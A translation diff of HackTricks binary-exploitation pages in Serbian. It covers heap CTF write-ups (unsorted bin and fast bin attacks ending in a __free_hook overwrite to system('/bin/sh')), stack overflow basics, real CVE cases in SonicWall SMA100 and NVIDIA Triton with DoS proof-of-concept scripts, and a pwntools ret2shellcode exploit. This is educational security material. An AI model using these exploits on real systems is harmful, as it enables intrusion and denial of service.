-Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
+Sličan [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) je iskorišćavao strukturu od 4 chunka (A, B, C i D - D je samo da spreči konsolidaciju sa top chunk-om) tako da je null byte overflow u B iskorišćen da natera C da indikuje da je B neiskorišćen. Takođe, u B je polje `prev_size` izmenjeno tako da veličina, umesto da bude veličina B, postane A+B.\
+Zatim je C deallocated i konsolidovan sa A+B (dok je B i dalje bio u upotrebi). Novi chunk veličine A je alociran i onda su libc leaked addresses upisane u B odakle je izvršen leak.
 
-## References & Other examples
+## Reference i drugi primeri
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- Cilj је prepisati globalnu promenljivu са вредношћу већом од 4869 тако да је могуће добити flag и PIE није омогућен.
-- Moguće је генерисати chunke произвољних величина и постоји heap overflow тражене величине.
-- Напад почиње креирањем 3 chunka: chunk0 за злоупотребу overflow-а, chunk1 који ће бити overflow-ован и chunk2 да top chunk не консолидује претходне.
-- Затим је chunk1 freed и chunk0 је overflow-ован тако да `bk` pointer chunk1 показује на: `bk = magic - 0x10`
-- Затим се алоцира chunk3 исте величине као chunk1, што ће покренути unsorted bin attack и измењити вредност глобалне променљиве, омогућавајући добијање flag-а.
+- Cilj je prepisati globalnu promenljivu sa vrednošću većom od 4869 kako bi bilo moguće dobiti flag i PIE nije omogućen.
+- Moguće je generisati chunk-ove proizvoljne veličine i postoji heap overflow odgovarajuće veličine.
+- Napad počinje kreiranjem 3 chunka: chunk0 da se iskoristi overflow, chunk1 koji će biti overflow-ovan i chunk2 da top chunk ne konsoliduje prethodne.
+- Zatim se chunk1 oslobodi i chunk0 se overflow-uje tako da `bk` pokazivač chunk1 pokazuje na: `bk = magic - 0x10`
+- Zatim se alocira chunk3 iste veličine kao chunk1, što će pokrenuti unsorted bin attack i izmeniti vrednost globalne promenljive, čime postaje moguće dobiti flag.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- merge функција је ranjiva јер ако су оба prosleđena index-а иста, она ће uraditi realloc на њему па затим free-овати, али вратити pointer на тај freed region који се може искористити.
-- Због тога се креирају **2 chunka**: **chunk0** који ће бити merged са собом и chunk1 да спречи консолидовање са top chunk-ом. Затим се **merge функција позива са chunk0** два пута што ће изазвати use after free.
-- Затим се позива **`view`** функция са index-ом 2 (што је index use-after-free chunka), која ће **leak a libc address**.
-- Како бинарани има заштите да malloc-ује само величине веће од **`global_max_fast`** па се не користи fastbin, користи се unsorted bin attack да препише глобалну променљиву `global_max_fast`.
-- Затим је могуће позвати edit функцију са index-ом 2 (use-after-free pointer) и преписати `bk` pointer да показује на `p64(global_max_fast-0x10)`. Након тога, креирање новог chunka ће користити раније kompromitovan free address (0x20) и **trigger the unsorted bin attack**, преписујући `global_max_fast` великом вредношћу, што омогућава сада креирање chunk-ова у fast bin-овима.
-- Now a **fast bin attack** is performed:
-- Pre svega, откривено је да је могуће радити са fast **chunk-ovima величине 200** на локацији **`__free_hook`**:
+- Merge funkcija je ranjiva zato što, ako su oba prosleđena indeksa ista, izvrši realloc na tom regionu i potom ga free-uje, ali vrati pokazivač na to oslobođeno područje koji se može iskoristiti.
+- Dakle, **kreiraju se 2 chunka**: **chunk0** koji će biti merged sa samim sobom i chunk1 da spreči konsolidaciju sa top chunk-om. Zatim se **merge funkcija poziva sa chunk0** dva puta što će prouzrokovati use after free.
+- Zatim se poziva **`view`** funkcija sa indeksom 2 (koji je indeks use after free chunka), što će **leak a libc address**.
+- Pošto binarni ima zaštite koje dozvoljavaju malloc samo za veličine veće od **`global_max_fast`** pa se ne koriste fastbin-ovi, koristiće se unsorted bin attack da se prepiše globalna promenljiva `global_max_fast`.
+- Zatim je moguće pozvati edit funkciju sa indeksom 2 (use after free pokazivač) i prepisati `bk` pokazivač da pokazuje na `p64(global_max_fast-0x10)`. Kreiranje novog chunka će koristiti prethodno kompromitovanu free adresu (0x20) i to će **pokrenuti unsorted bin attack** koji prepisuje `global_max_fast` velikom vrednošću, omogućavajući sada kreiranje chunk-ova u fast bin-ovima.
+- Sada se izvodi **fast bin attack**:
+- Pre svega, otkriveno je da je moguće raditi sa fast **chunk-ovima veličine 0x200** na lokaciji **`__free_hook`**:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,20 +115,20 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Ако успемо да добијемо fast chunk величине 0x200 у овој локацији, биће могуће преписати функцијски показивач који ће бити извршен.
-- За ово се креира нови chunk величине `0xfc` и merge функција се позива са тим pointer-ом два пута, на тај начин добијамо pointer на freed chunk величине `0xfc*2 = 0x1f8` у fast bin-у.
-- Затим се на том chunку позива edit функција да модификује **`fd`** адресу овог fast bin-а тако да показује на претходни **`__free_hook`**.
-- Затим се креира chunk величине `0x1f8` да би се из fast bin-а извукao претходни бескорисни chunk, па се још један chunk исте величине креира да би се добио fast bin chunk на месту **`__free_hook`** који се преписује адресом функције **`system`**.
-- И на крају, chunk који садржи string `/bin/sh\x00` се free-ује позивом delete функције, што trigger-ује **`__free_hook`** функцију која сада показује на system са `/bin/sh\x00` као параметром.
+- Ako uspemo da dobijemo fast chunk veličine 0x200 na toj lokaciji, biće moguće prepisati funkcioni pokazivač koji će biti izvršen.
+- Za ovo se kreira novi chunk veličine `0xfc` i merge funkcija se poziva sa tim pokazivačem dva puta; na taj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u.
+- Zatim se na tom chunku poziva edit funkcija da izmeni adresu **`fd`** ovog fast bina tako da pokazuje na prethodnu lokaciju **`__free_hook`**.
+- Zatim se kreira chunk veličine `0x1f8` da se iz fast bin-a izuzme prethodni beskorisni chunk, pa se još jedan chunk veličine `0x1f8` kreira da bi se dobio fast bin chunk u **`__free_hook`**, koji se prepisuje adresom funkcije **`system`**.
+- I na kraju, chunk koji sadrži string `/bin/sh\x00` se free-uje pozivom delete funkcije, što pokreće **`__free_hook`** funkciju koja sada pokazuje na system sa `/bin/sh\x00` kao argumentom.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Joш један пример злоупотребе 1B overflow-а да се консолидују chunk-ови у unsorted bin и добије libc infoleak, а затим изврши fast bin attack да се overwrite-у malloc hook са one gadget адресом
+- Još jedan primer zloupotrebe 1B overflow-a da se konsoliduju chunk-ovi u unsorted bin i dobiju libc infoleak, a zatim izvede fast bin attack da se overwrite-uje malloc hook jednim gadgetom.
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-- Можемо алоцирати само chunke величине веће од `0x100`.
-- Препиши `global_max_fast` коришћењем Unsorted Bin attack (ради 1/16 пута због ASLR-а, јер треба модификовати 12 битова, али морамо модификовати 16).
-- Fast Bin attack да модификује глобални низ chunk-ова. Ово даје арбитрарни read/write примитив, што омогућава модификацију GOT-а и подешавање неке функције да показује на `system`.
+- Mogu se alocirati samo chunk-ovi veličine veće od `0x100`.
+- Prepisivanje `global_max_fast` koristeći Unsorted Bin attack (radi 1/16 puta zbog ASLR-a, zato što treba modifikovati 12 bitova, ali moramo modifikovati 16 bitova).
+- Fast Bin attack da se izmeni globalni niz chunk-ova. Ovo daje arbitrarni read/write primitiv, koji omogućava izmenu GOT-a i postavljanje neke funkcije da pokazuje na `system`.
 
-## References
+## Reference
 
-- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
-- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
+- Glibc malloc unsorted-bin integrity checks (primer u 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
+- `global_max_fast` i srodne definicije u modernom glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/README.md

@@ -4,13 +4,13 @@
 
 ## Šta je Stack Overflow
 
-A **stack overflow** je ranjivost koja nastaje kada program upiše više podataka na stack nego što mu je dodeljeno da zadrži. Ovi suvišni podaci će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, ometanja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog upotrebe nesigurnih funkcija koje ne vrše proveru granica na ulazu.
+**stack overflow** je ranjivost koja nastaje kada program upiše više podataka na stack nego što je za to alocirano. Ovaj višak podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, poremećaja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem se često javlja zbog upotrebe nesigurnih funkcija koje ne vrše proveru granica nad ulazom.
 
-Glavni problem ove prepisivanja je što su **saved instruction pointer (EIP/RIP)** i **saved base pointer (EBP/RBP)** koji služe za vraćanje u prethodnu funkciju **smešteni na stack-u**. Dakle, napadač će moći da ih prepiše i **kontroliše tok izvršavanja programa**.
+Glavni problem ovog prepisivanja je što su **sačuvani instrukcioni pokazivač (EIP/RIP)** i **sačuvani bazni pokazivač (EBP/RBP)** koji služe za povratak u prethodnu funkciju **smešteni na stacku**. Dakle, napadač će moći da ih prepiše i **kontroliše tok izvršavanja programa**.
 
-Ranjivost obično nastaje zato što funkcija **kopira unutar stack-a više bajtova nego što je za njega dodeljeno**, čime može prepisati druge delove stack-a.
+Ranjivost se obično pojavljuje zato što funkcija **kopira na stack više bajtova nego što je za to alocirano**, omogućavajući time prepisivanje drugih delova stacka.
 
-Neke uobičajene funkcije koje su ranjive su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read`** i **`memcpy`** koje primaju argument za dužinu, mogu biti korišćene na ranjiv način ako je navedena dužina veća od dodeljene.
+Neke uobičajene funkcije koje su ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read`** i **`memcpy`** koje prihvataju **argument dužine**, mogu biti korišćene na ranjiv način ako je navedena dužina veća od alocirane.
 
 Na primer, sledeće funkcije mogu biti ranjive:
 ```c
@@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Finding Stack Overflows offsets
+### Pronalaženje offseta za Stack Overflows
 
-Najčešći način da se otkriju stack overflows je da se pošalje veoma veliki ulaz sastavljen od `A` karaktera (npr. `python3 -c 'print("A"*1000)'`) i očekuje `Segmentation Fault` koji pokazuje da je pokušano pristupiti adresi **`0x41414141`**.
+Najčešći način da se otkriju stack overflows je da se unese veoma veliki ulaz sastavljen od `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekuje `Segmentation Fault` koji ukazuje da je **pokušano pristupiti adresi `0x41414141`**.
 
-Pored toga, kada utvrdite da postoji Stack Overflow vulnerability, potrebno je pronaći offset do tačke kada je moguće **overwrite the return address**; za ovo se obično koristi **De Bruijn sequence.** Za dato alfabet veličine _k_ i podnizove dužine _n_, to je **ciklična sekvenca u kojoj se svaki mogući podniz dužine _n_ pojavljuje tačno jednom** kao kontinualni podniz.
+Pored toga, kada utvrdite da postoji Stack Overflow ranjivost, moraćete da pronađete offset do trenutka kada je moguće **overwrite the return address**; za to se obično koristi **De Bruijn sequence.** Za zadati alfabet veličine _k_ i podnizove dužine _n_, to je **ciklični niz u kojem se svaki mogući podniz dužine _n_ pojavljuje tačno jednom** kao kontinualni podniz.
 
-Na ovaj način, umesto da ručno utvrđujete koji offset je potreban da biste kontrolisali EIP, moguće je kao padding koristiti jednu od ovih sekvenci, a zatim naći offset bajtova koji su je prepisali.
+Na ovaj način, umesto da ručno pokušavate da odredite koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao padding jedan od ovih nizova i zatim pronaći offset bajtova koji su završili overwriting it.
 
 Moguće je koristiti **pwntools** za ovo:
 ```python
@@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Exploiting Stack Overflows
+## Eksploatacija Stack Overflows
 
-Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljna) bićete u mogućnosti da **overwrite** vrednosti lokalnih promenljivih na steku sve dok ne dođete do sačuvanih **EBP/RBP and EIP/RIP (or even more)**.\
-Najčešći način zloupotrebe ove vrste ranjivosti je **modifying the return address** tako da kada funkcija završi, **control flow will be redirected wherever the user specified** u ovom pointeru.
+Tokom overflow-a (pod pretpostavkom da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih varijabli unutar stack-a sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak i više)**.\
+Najčešći način zloupotrebe ove vrste ranjivosti je **izmena return address-a** tako da kada funkcija završi **tok izvršavanja bude preusmeren tamo gde je napadač odredio** u ovom pokazivaču.
 
-Međutim, u drugim scenarijima možda će biti dovoljno samo **overwriting some variables values in the stack** da bi se izvršila eksploatacija (kao u easy CTF challenges).
+Međutim, u drugim scenarijima možda je dovoljno samo **prepisati vrednosti nekih promenljivih na stack-u** za eksploataciju (npr. u lakim CTF izazovima).
 
 ### Ret2win
 
-U ovom tipu CTF challenges postoji **function** **inside** binarnog fajla koja se **never called** i koju **you need to call in order to win**. Za ove izazove potrebno je samo da pronađete **offset to overwrite the return address** i **find the address of the function** koju treba pozvati (obično [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) tako da kada ranjiva funkcija vrati, sakrivena funkcija bude pozvana:
+U ovom tipu CTF izazova, u binarnom fajlu postoji **funkcija** koja se nikada ne poziva, a koju **morate pozvati da biste pobedili**. Za ove izazove potrebno je samo pronaći **offset za prepisivanje return address-a** i **adresu funkcije** koju treba pozvati (obično je [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) onemogućen) tako da kada ranjiva funkcija vrati kontrolu, skrivena funkcija bude pozvana:
 
 
 {{#ref}}
@@ -66,7 +66,7 @@ ret2win/
 
 ### Stack Shellcode
 
-U ovom scenariju napadač može postaviti shellcode na stek i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i execute arbitrary code:
+U ovom scenariju napadač može postaviti shellcode u stack i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:
 
 
 {{#ref}}
@@ -75,7 +75,7 @@ stack-shellcode/
 
 ### Windows SEH-based exploitation (nSEH/SEH)
 
-Na 32-bit Windowsu, overflow može prepisati Structured Exception Handler (SEH) lanac umesto sačuvanog return address. Eksploatacija obično zamenjuje SEH pointer sa POP POP RET gadget i koristi 4-byte nSEH polje za kratak skok koji pivotira nazad u veliki buffer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji dospeva na 5-byte near jmp smešten neposredno pre nSEH da bi skočio stotinama bajtova nazad do početka payload-a.
+Na 32-bit Windows-u, overflow može prepisati lanac Structured Exception Handler (SEH) umesto sačuvane adrese povratka. Eksploatacija obično zamenjuje SEH pokazivač sa POP POP RET gadget-om i koristi 4-bajtno nSEH polje za kratak skok koji pivota nazad u veliki buffer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji se završava na 5-bajtnom near jmp-u postavljenom odmah pre nSEH da bi se skočilo stotinama bajtova nazad na početak payload-a.
 
 
 {{#ref}}
@@ -84,7 +84,7 @@ windows-seh-overflow.md
 
 ### ROP & Ret2... techniques
 
-Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite protiv prethodne tehnike: **No executable stack (NX)**. Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti arbitrary commands iskorišćavanjem postojećih instrukcija u binarnom fajlu:
+Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **No executable stack (NX)**. Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti proizvoljne komande zloupotrebom postojećih instrukcija u binarnom fajlu:
 
 
 {{#ref}}
@@ -93,16 +93,16 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite protiv prethodne t
 
 ## Heap Overflows
 
-Overflow nije uvek na steku, može biti i u **heap** na primer:
+Overflow nije uvek na stack-u, može biti i u **heap-u**, na primer:
 
 
 {{#ref}}
 ../libc-heap/heap-overflow.md
 {{#endref}}
 
-## Vrste zaštita
+## Tipovi zaštite
 
-Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u:
+Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u:
 
 
 {{#ref}}
@@ -111,7 +111,8 @@ Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti
 
 ### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
 
-Dobar primer zašto **`sscanf` should never be trusted for parsing untrusted input** pojavio se 2025. u SonicWall’s SMA100 SSL-VPN appliance. Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izvuče verziju i endpoint iz bilo kog URI koji počinje sa `/__api__/`:
+Dobar primer zašto **`sscanf` nikada ne treba verovati za parsiranje nepouzdanog inputa** pojavio se 2025. u SonicWall-ovom SMA100 SSL-VPN uređaju.
+Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izdvoji verziju i endpoint iz bilo kog URI koji počinje sa `/__api__/`:
 ```c
 char version[3];
 char endpoint[0x800] = {0};
@@ -119,25 +120,25 @@ char endpoint[0x800] = {0};
 sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
 ```
 1. Prva konverzija (`%2s`) bezbedno skladišti **dva** bajta u `version` (npr. `"v1"`).
-2. Druga konverzija (`%s`) **nema specifikator dužine**, zbog čega `sscanf` nastavlja da kopira **dok se ne naiđe na prvi NUL byte**.
-3. Pošto je `endpoint` smešten na **stack** i ima dužinu **0x800 bytes**, prosleđivanje puta dužeg od 0x800 bytes korumpira sve što se nalazi nakon buffer‑a ‑ uključujući **stack canary** i **saved return address**.
+2. Druga konverzija (`%s`) **nema specifikator dužine**, zato će `sscanf` nastaviti da kopira **dok ne naiđe na prvi NUL byte**.
+3. Pošto je `endpoint` smešten na **stack** i ima **0x800 bytes**, prosleđivanje puta dužeg od 0x800 bytes korumpira sve što se nalazi posle buffer‑a — uključujući **stack canary** i **saved return address**.
 
-Jedna single-line proof-of-concept je dovoljna da izazove pad **pre autentifikacije**:
+Jednolinijski proof-of-concept je dovoljan da izazove pad **pre autentifikacije**:
 ```python
 import requests, warnings
 warnings.filterwarnings('ignore')
 url = "https://TARGET/__api__/v1/" + "A"*3000
 requests.get(url, verify=False)
 ```
-Iako stack canaries prekinu proces, napadač i dalje stiče **Denial-of-Service** primitiv (i, uz dodatne information leaks, moguće code-execution). Lekcija je jednostavna:
+Iako stack canaries abort the process, napadač i dalje dobija **Denial-of-Service** primitiv (i, sa dodatnim information leaks, moguće code-execution). Lekcija je jednostavna:
 
-* Uvek navedite **maksimalnu širinu polja** (npr. `%511s`).
-* Preferirajte bezbednije alternative kao što su `snprintf`/`strncpy_s`.
+* Uvek obezbedite **maksimalnu širinu polja** (npr. `%511s`).
+* Preferirajte sigurnije alternative kao što su `snprintf`/`strncpy_s`.
 
-### Stvarni primer: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
+### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
 
-NVIDIA Triton Inference Server (≤ v25.06) je sadržao više **stack-based overflows** dostupnih preko njegovog HTTP API-ja.
-Ranjivi obrazac se više puta pojavljivao u `http_server.cc` i `sagemaker_server.cc`:
+NVIDIA’s Triton Inference Server (≤ v25.06) je sadržao više **stack-based overflows** dostupnih preko njegovog HTTP API.
+Ranjivi obrazac se ponavljao u `http_server.cc` i `sagemaker_server.cc`:
 ```c
 int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
 if (n > 0) {
@@ -147,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
 ...
 }
 ```
-1. `evbuffer_peek` (libevent) vraća **broj unutrašnjih buffer segmenata** koji čine trenutni HTTP request body.
-2. Svaki segment uzrokuje alokaciju **16-byte** `evbuffer_iovec` na **stack** putem `alloca()` – **bez gornje granice**.
-3. Zloupotrebom **HTTP _chunked transfer-encoding_**, klijent može prisiliti request da bude podeljen na **stotine hiljada 6-byte chunks** (`"1\r\nA\r\n"`). Ovo čini da se `n` neograničeno povećava dok se **stack** ne iscrpi.
+1. `evbuffer_peek` (libevent) vraća **broj internih buffer segmenata** koji čine telo trenutnog HTTP zahteva.
+2. Svaki segment uzrokuje da se **16-byte** `evbuffer_iovec` alocira na **stack** putem `alloca()` – **bez gornje granice**.
+3. Zloupotrebom **HTTP _chunked transfer-encoding_**, klijent može primorati zahtev da bude podeljen na **stotine hiljada 6-byte chunks** (`"1\r\nA\r\n"`). To omogućava da se `n` neograničeno poveća dok se **stack** ne iscrpi.
 
 #### Dokaz koncepta (DoS)
 ```python
@@ -175,10 +176,10 @@ s.close()
 if __name__ == "__main__":
 exploit(*sys.argv[1:])
 ```
-Zahtev od ~3 MB je dovoljan da prepiše sačuvanu adresu za povratak i **crash** daemon na podrazumevanom build-u.
+Zahtev od ~3 MB je dovoljan da prepiše sačuvanu povratnu adresu i **crash** daemona na podrazumevanoj kompilaciji.
 
-#### Patch i mitigacija
-Izdanje 25.07 zamenjuje nebezbednu alokaciju na steku sa **heap-backed `std::vector`** i elegantno rukuje `std::bad_alloc`:
+#### Zakrpa i ublažavanje
+Izdanje 25.07 zamenjuje nesigurnu alokaciju na steku sa **heap-backed `std::vector`** i elegantno obrađuje `std::bad_alloc`:
 ```c++
 std::vector<evbuffer_iovec> v_vec;
 try {
@@ -189,11 +190,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
 struct evbuffer_iovec *v = v_vec.data();
 ```
 Naučene lekcije:
-* Nikada ne pozivati `alloca()` sa veličinama koje kontroliše napadač.
-* Chunked requests mogu drastično promeniti oblik server-side buffers.
-* Validirajte / ograničite svaku vrednost izvedenu iz client input *pre* nego što je upotrebite u memory allocations.
+* Nikada ne pozivati `alloca()` sa veličinama koje su pod kontrolom napadača.
+* Chunked requests mogu drastično promeniti oblik buffera na strani servera.
+* Validirajte / ograničite svaku vrednost izvedenu iz ulaza klijenta *pre nego što* je upotrebite u memorijskim alokacijama.
 
-## Reference
+## Referencije
 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
 * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
 * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -4,11 +4,11 @@
 
 ## Osnovne informacije
 
-**Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač upisuje shellcode na stack ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokaže na lokaciju tog shellcode-a, izazivajući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku sledi razlaganje procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
+**Stack shellcode** je tehnika koja se koristi u **binary exploitation**, gde napadač upisuje shellcode na stack ranjivog programa i zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju tog shellcode-a, što dovodi do njegovog izvršavanja. Ovo je klasična metoda koja se koristi za sticanje neautorizovanog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku je razrada procesa, uključujući jednostavan C primer i kako možete napisati odgovarajući exploit koristeći Python sa **pwntools**.
 
-### C primer: Ranljiv program
+### C primer: Ranjiv program
 
-Počnimo sa jednostavnim primerom ranljivog C programa:
+Počnimo sa jednostavnim primerom ranjivog C programa:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -26,20 +26,20 @@ return 0;
 ```
 Ovaj program je ranjiv na buffer overflow zbog upotrebe funkcije `gets()`.
 
-### Kompilacija
+### Compilation
 
-Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (da biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
+Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
-- `-fno-stack-protector`: Onemogućava zaštitu steka.
-- `-z execstack`: Čini stek izvršnim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
-- `-no-pie`: Onemogućava Position Independent Executable, što olakšava predviđanje memorijske adrese gde će se nalaziti naš shellcode.
-- `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćen radi jednostavnosti u razvoju exploita.
+- `-fno-stack-protector`: Onemogućava stack protection.
+- `-z execstack`: Čini stack executable, što je neophodno za izvršavanje shellcode smeštenog na stack-u.
+- `-no-pie`: Onemogućava Position Independent Executable, što olakšava predviđanje memory address gde će naš shellcode biti lociran.
+- `-m32`: Kompajlira program kao 32-bit executable, često se koristi radi jednostavnosti u exploit development-u.
 
-### Python exploit koristeći Pwntools
+### Python Exploit using Pwntools
 
-Evo kako biste mogli napisati exploit u Pythonu koristeći **pwntools** da izvedete **ret2shellcode** napad:
+Evo kako možete napisati exploit u Pythonu koristeći **pwntools** da izvršite **ret2shellcode** attack:
 ```python
 from pwn import *
 
@@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Ovaj skript konstruiše payload koji se sastoji od **NOP slide**, **shellcode**, i potom prepisuje **EIP** adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
+Ovaj skript konstruše payload koji se sastoji od **NOP slide**, **shellcode**, i zatim prepisuje **EIP** adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
 
-The **NOP slide** (`asm('nop')`) se koristi da poveća verovatnoću da izvršavanje "slide"-uje u naš shellcode bez obzira na tačnu adresu. Podesite `p32()` argument na početnu adresu vašeg buffera plus offset da biste dospeli u NOP slide.
+The **NOP slide** (`asm('nop')`) se koristi da poveća šansu da će izvršavanje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Podesite argument `p32()` na početnu adresu vašeg buffera plus offset da biste sleteli u NOP slide.
 
 ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
 
-Na modernim Windows sistemima stack nije izvršiv (DEP/NX). Uobičajen način da se ipak izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz modula Import Address Table (IAT) da bi se regija stack-a označila kao izvršiva, a zatim se vraća u shellcode dodat nakon chain-a.
+Na modernim Windows sistemima stack nije izvršan (DEP/NX). Čest način da se i dalje izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz module Import Address Table (IAT) da bi region stacka postao izvršan, i zatim se vraća u shellcode dodat odmah posle chain-a.
 
 Ključne tačke (Win64 calling convention):
 - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
-- RCX = lpAddress → izaberite adresu u trenutnom stack-u (npr. RSP) tako da novo alocirana RWX regija preklopi vaš payload
-- RDX = dwSize → dovoljno velika za vaš chain + shellcode (npr. 0x1000)
+- RCX = lpAddress → izaberite adresu u trenutnom stacku (npr. RSP) tako da novoalokirani RWX region preklapa vaš payload
+- RDX = dwSize → dovoljno veliki za vaš chain + shellcode (npr. 0x1000)
 - R8  = flAllocationType = MEM_COMMIT (0x1000)
 - R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
-- Return direktno u shellcode postavljen odmah posle chain-a.
+- Return directly into the shellcode placed right after the chain.
 
 Minimalna strategija:
-1) Leak a module base (npr. preko format-string, object pointer, itd.) da biste izračunali apsolutne gadget i IAT adrese pod ASLR-om.
-2) Pronađite gadget-e koji učitavaju RCX/RDX/R8/R9 (pop ili mov/xor-bazirane sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktan pop r8/r9, koristite arithmetic gadget-e da sintetizujete konstante (npr. postavite r8=0 i ponovo dodajte r9=0x40 četrdeset puta da biste došli do 0x1000).
-3) Postavite stage-2 shellcode odmah nakon chain-a.
